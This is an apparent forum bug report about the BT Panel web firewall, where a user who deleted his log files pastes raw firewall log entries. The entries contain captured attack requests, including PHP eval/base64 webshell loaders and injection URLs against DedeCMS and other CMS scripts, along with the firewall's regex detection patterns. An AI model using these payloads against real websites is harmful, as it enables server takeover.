【BUG反馈】 宝塔网站防火墙异常

vip一年专业版
第一安装防火墙很好用，前几天手动删除了服务/www/wwwlogs 的所有的文件后，后台统计有几次攻击类的信息，但详细信息看不到





日志里的btwaf目录下却有记录    不知道如何修复，请技术指导，如果老大能给解决了，帖子我会写出详细的解决步骤供其他小白们学习

1. ["2018-08-20 21:51:11","216.172.153.202","GET","\/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}","Opera\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto\/2.9.168 Version\/11.52","args","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> wd:{if-A:assert($_POST[a])}{endif-A}"]
   
2. ["2018-08-20 21:52:13","216.172.153.202","GET","\/email\/shell.php","Mozilla\/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\/4.0; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/email\/shell.php"]
   
3. ["2018-08-20 22:21:45","61.160.215.50","POST","\/\/plus\/mytag_js.php?aid=9090","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> guige:@eval\u0001(base64_decode($_POST[z0]));"]
   
4. ["2018-08-20 22:21:45","61.160.215.50","POST","\/\/user\/niubi.php","Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","post","base64_decode\\( >> lequ:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"]
   
5. ["2018-08-20 22:21:46","61.160.215.50","POST","\/\/utility\/convert\/data\/config.inc.php","Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","post","base64_decode\\( >> tom:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"]
   
6. ["2018-08-20 22:21:46","61.160.215.50","GET","\/\/uploads\/dede\/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_POST[lequ]);die();\/\/","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> refiles[1]:\\";eval($_POST[lequ]);die();\/\/"]
   
7. ["2018-08-20 22:21:46","61.160.215.50","POST","\/\/uploads\/dede\/sys_verifies.php?action=down","Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","post","base64_decode\\( >> lequ:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"]
   
8. ["2018-08-20 22:21:46","61.160.215.50","GET","\/\/web\/new\/fenlei\/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=..\/..\/admin\/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${eval($_POST[lequ])}","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","args","\\$\\{ >> title:${eval($_POST[lequ])}"]
   
9. ["2018-08-20 22:21:46","61.160.215.50","POST","\/\/web\/new\/fenlei\/do\/jf.php","Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","post","base64_decode\\( >> lequ:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"]
   
10. ["2018-08-20 22:21:46","61.160.215.50","POST","\/\/web\/new\/fenlei\/do\/jf.php","Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","post","60秒以内累计超过6次以上非法请求,封锁180秒"]
    
11. ["2018-08-20 22:35:55","223.104.10.111","GET","\/index.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
12. ["2018-08-20 22:35:55","223.104.10.111","GET","\/favicon.ico","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
13. ["2018-08-20 22:36:06","223.104.10.111","GET","\/index.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
14. ["2018-08-20 22:36:06","223.104.10.111","GET","\/favicon.ico","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
15. ["2018-08-20 22:36:48","223.104.10.111","GET","\/index.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
16. ["2018-08-20 22:36:48","223.104.10.111","GET","\/favicon.ico","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
17. ["2018-08-20 22:38:33","223.104.10.111","GET","\/index.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
18. ["2018-08-20 22:38:33","223.104.10.111","GET","\/favicon.ico","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
19. ["2018-08-20 22:38:34","223.104.10.111","GET","\/index.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
20. ["2018-08-20 22:38:34","223.104.10.111","GET","\/favicon.ico","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
21. ["2018-08-20 22:38:37","223.104.10.111","GET","\/index.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
22. ["2018-08-20 22:38:37","223.104.10.111","GET","\/favicon.ico","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
23. ["2018-08-20 22:38:46","223.104.10.111","GET","\/forum.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","\\b(or|xor|and)\\b.*(=|<|>|'|") >> 1:mal9_2132_saltkey=u3y003yw; mal9_2132_lastvisit=1532621845; _fmdata=or%2bx9qwdihsyqsfyh50a8bznl2d3cdtvn4sulpylysjo%2foemxpfks2hbdy3nwmmlzmi%2bxhkju4zegwspsarzf2adxtmuwxzwct6hlb6fffo%3d"]
    
24. ["2018-08-20 22:38:46","223.104.10.111","GET","\/forum.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/68.0.3440.106 Safari\/537.36","cookie","60秒以内累计超过6次以上非法请求,封锁180秒"]

复制代码